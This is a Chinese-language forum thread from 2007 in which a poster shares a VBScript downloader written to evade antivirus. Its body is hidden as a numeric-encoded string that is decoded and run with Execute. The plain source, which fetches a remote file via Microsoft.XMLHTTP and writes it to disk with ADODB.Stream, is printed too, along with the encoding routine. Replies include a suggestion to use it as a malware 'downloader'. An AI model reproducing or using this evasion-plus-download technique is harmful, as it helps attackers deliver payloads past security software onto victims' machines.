真正能绕过杀软下载文件的VBS[原创加密版]

somebody

代码使用说明:
CMD下执行以下命令即可下载单个远程文件，测试环境：windows 2003 + Kaspersky 6.0
cscript //nologo encode.vbs "http://kimhoo.lin.googlepages.com/encode.jpg" "d:\a bc\somebody.jpg"

PS: 1. 无论是网络路径还是本地路径，只要路径里含有空格或特殊字符，就必须用双引号括起来,最好括起来可以保证不出错。
     2. 想看源代码，将 Execute Decode(str) 改为 Wscript.Echo Decode(str) 然后以同样方法运行。

1. Wscript.Sleep 1000
   
2. Mystr = Array(115,111,109,101,98,111,100,121)
   
3. for i=0 to Ubound(Mystr)
   
4.     author=author&Chr(Mystr(i))
   
5. next
   
6. Wscript.Echo vbCr
   
7. Wscript.Echo "  code by " & author
   
8. Wscript.Echo "  LastModified: 2007-12-30  22:00"
   
9. Wscript.Sleep 2000
   
10. Wscript.Echo vbCr
    
11. str1 = "      ╭━━╮╭━━╮╭╭━╮╭━━╮╭━━╮╭━━╮┏━━╮╭╮╭╮"
    
12. str4 = "      ╰━╮┃┃┃┃┃┃╭╮┃┃╭━╯┃╭╮╮┃┃┃┃┃┃┃┃?┃┃?"
    
13. str6 = "      ╰━━╯╰━━╯╰╯╰╯╰━━╯╰━━╯╰━━╯┗━━╯?╰╯?"
    
14. str3 = "      ┃╰━╮┃┃┃┃┃┃┃┃┃╰━╮┃╰╯╯┃┃┃┃┃┃┃┃╰╮╭╯"
    
15. str5 = "      ╭━╯┃┃╰╯┃┃┃┃┃┃╰━╮┃╰╯┃┃╰╯┃┃╰╯┃?┃┃?"
    
16. str2 = "      ┃╭━╯┃╭╮┃┃??┃┃╭━╯┃╭╮┃┃╭╮┃┃╭╮┃┃╰╯┃"
    
17. myArray = Array(str1,str2,str3,str4,str5,str6)
    
18. For each sign in myArray
    
19.     Wscript.Echo sign
    
20. Next
    
21. Wscript.Sleep 2000
    
22. str="370,1160,960,1130,300,1000,1030,1060,990,300,1000,1090,1120,300,980,1090,1170,1080,1060,1090,950,980,1030,1080,1010,300,
    
23. 1170,1030,1140,1020,300,630,810,650,710,710,300,990,1080,970,1090,980,1030,1080,1010,300,1140,1090,300,950,1160,1090,1030,980
    
24. ,300,950,1080,1140,1030,430,1160,1030,1120,1150,1130,370,1130,300,1030,1080,1140,990,1120,1120,1150,1100,1140,1030,1090,1080,
    
25. 110,80,370,970,1090,980,990,300,960,1190,300,1130,1090,1070,990,960,1090,980,1190,110,80,370,1140,990,1130,1140,1030,1080,101
    
26. 0,300,990,1080,1160,1030,1120,1090,1080,1070,990,1080,1140,560,300,850,1030,1080,980,1090,1170,1130,300,480,460,460,490,300,4
    
27. 10,300,730,950,1130,1100,990,1120,1130,1050,1190,300,520,440,460,110,80,770,1080,300,670,1120,1120,1090,1120,300,800,990,1130
    
28. ,1150,1070,990,300,760,990,1180,1140,110,80,660,1030,1070,300,1030,800,990,1070,1090,"
    
29. str=str&"1140,990,420,1030,740,1090,970,950,1060,110,80,1030,800,990,1070,1090,1140,990,300,590,300,740,650,950,1130,990,380,
    
30. 850,810,970,1120,1030,1100,1140,440,630,1120,1010,1150,1070,990,1080,1140,1130,380,460,390,390,110,80,1030,740,1090,970,950,1
    
31. 060,300,590,300,740,650,950,1130,990,380,850,810,970,1120,1030,1100,1140,440,630,1120,1010,1150,1070,990,1080,1140,1130,380,4
    
32. 70,390,390,110,80,810,990,1140,300,780,1130,1090,1070,990,960,1090,980,1190,300,590,300,650,1120,990,950,1140,990,770,960,104
    
33. 0,990,970,1140,380,320,750,1030,970,1120,1090,1130,1090,1000,1140,440,860,750,740,700,820,820,780,320,390,110,80,780,1130,109
    
34. 0,1070,990,960,1090,980,1190,440,770,1100,990,1080,300,320,690,990,1140,320,420,1030,800,990,1070,1090,1140,990,420,460,110,8
    
35. 0,780,1130,1090,1070,990,960,1090,980,1190,440,810,990,1080,980,380,390,110,80,810,990,"
    
36. str=str&"1140,300,690,1130,1090,1070,990,960,1090,980,1190,300,590,300,650,1120,990,950,1140,990,770,960,1040,990,970,1140,38
    
37. 0,320,630,980,1090,980,960,440,810,1140,1120,990,950,1070,320,390,110,80,690,1130,1090,1070,990,960,1090,980,1190,440,750,109
    
38. 0,980,990,300,590,300,490,110,80,690,1130,1090,1070,990,960,1090,980,1190,440,820,1190,1100,990,300,590,300,470,110,80,690,11
    
39. 30,1090,1070,990,960,1090,980,1190,440,770,1100,990,1080,380,390,110,80,690,1130,1090,1070,990,960,1090,980,1190,440,850,1120
    
40. ,1030,1140,990,380,780,1130,1090,1070,990,960,1090,980,1190,440,800,990,1130,1100,1090,1080,1130,990,640,1090,980,1190,390,11
    
41. 0,80,690,1130,1090,1070,990,960,1090,980,1190,440,810,950,1160,990,820,1090,680,1030,1060,990,300,1030,740,1090,970,950,1060,
    
42. 420,480,110"
    
43. Execute Decode(str)
    
44. Wscript.Echo Wscript.Arguments(0) &" 已经成功下载完毕并保存到 "& Wscript.Arguments(1)
    
45. Function Decode(code)
    
46.     iArray=Split(code,",")
    
47.     For i=0 To Ubound(iArray)-1
    
48.         trueStr=trueStr&Chr(iArray(i)/10+2)
    
49.     Next
    
50.     Decode=trueStr
    
51. End function

复制代码

ASCII加密过程：

1. str="115,111,109,101,98,111,100,121"   ' str 的内容是 somebody
   
2. Wscript.Echo Encode(str)
   
3. Function Encode(code)
   
4.     iArray=Split(code,",")
   
5.     For i=0 To ubound(iArray)-1
   
6.         s=(iArray(i)-2)*10
   
7.         p=p&s&","
   
8.     Next
   
9.     Encode=p
   
10. End function

复制代码

附： 字符串/ASCII 互转工具

youxi01

年轻人，还是走＂正道＂啊，怎么总喜欢玩什么　病毒类＼黑客类的东西呢？
呵呵

somebody

靠~~汗死
什么病毒类...下载文件的VBS并不是什么病毒，只是调用了Microsoft.XMLHTTP
杀软爱管闲事喜欢插上一手，所以不加密是下不了东西的...

1. 'vbs file for downloading with ASCII encoding to avoid anti-virus's interruption
   
2. 'code by somebody
   
3. 'testing environment: Windows 2003 + Kaspersky 6.0
   
4. On Error Resume Next
   
5. Dim iRemote,iLocal
   
6. iRemote = LCase(WScript.Arguments(0))
   
7. iLocal = LCase(WScript.Arguments(1))
   
8. Set Psomebody = CreateObject("Microsoft.XMLHTTP")
   
9. Psomebody.Open "Get",iRemote,0
   
10. Psomebody.Send()
    
11. Set Gsomebody = CreateObject("Adodb.Stream")
    
12. Gsomebody.Mode = 3
    
13. Gsomebody.Type = 1
    
14. Gsomebody.Open()
    
15. Gsomebody.Write(Psomebody.ResponseBody)
    
16. Gsomebody.SaveToFile iLocal,2

复制代码

这是源代码，你保存为VBS，开着杀软，运行得了才怪呢..~

[ 本帖最后由 somebody 于 2007-12-31 14:35 编辑 ]

6589600

是啊 ，开着杀软下东西就是慢，呵呵，好代码就像鱼，吃好了 香，吃不好会被噎死

葱头

大家说~~用下载者来下载怎样~~嘿嘿~~~

Randy

编译器错误：未结束的字符串常量  ？？

idctop

自己写完后把字符串转换成ASCII码就行了嘛。

diannaoleyuan

汗。。。。不知道对我有没有用。。。顶个~~~~~